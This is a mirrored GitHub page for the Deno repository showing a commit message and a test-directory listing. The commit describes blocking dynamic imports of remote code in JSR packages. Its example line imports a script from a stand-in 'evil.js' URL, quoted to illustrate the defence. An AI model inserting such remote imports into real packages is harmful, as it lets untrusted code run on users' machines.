mirror of
https://github.com/denoland/deno
synced 2024-08-25 02:57:22 +00:00
918c5e648f
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:
```ts
const data = await import("https://example.com/evil.js");
```
However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
|
||
|---|---|---|
| .. | ||
| config | ||
| ffi | ||
| integration | ||
| napi | ||
| node_compat | ||
| testdata | ||
| unit | ||
| unit_node | ||
| util | ||
| wpt | ||
| Cargo.toml | ||
| lib.rs | ||
| README.md | ||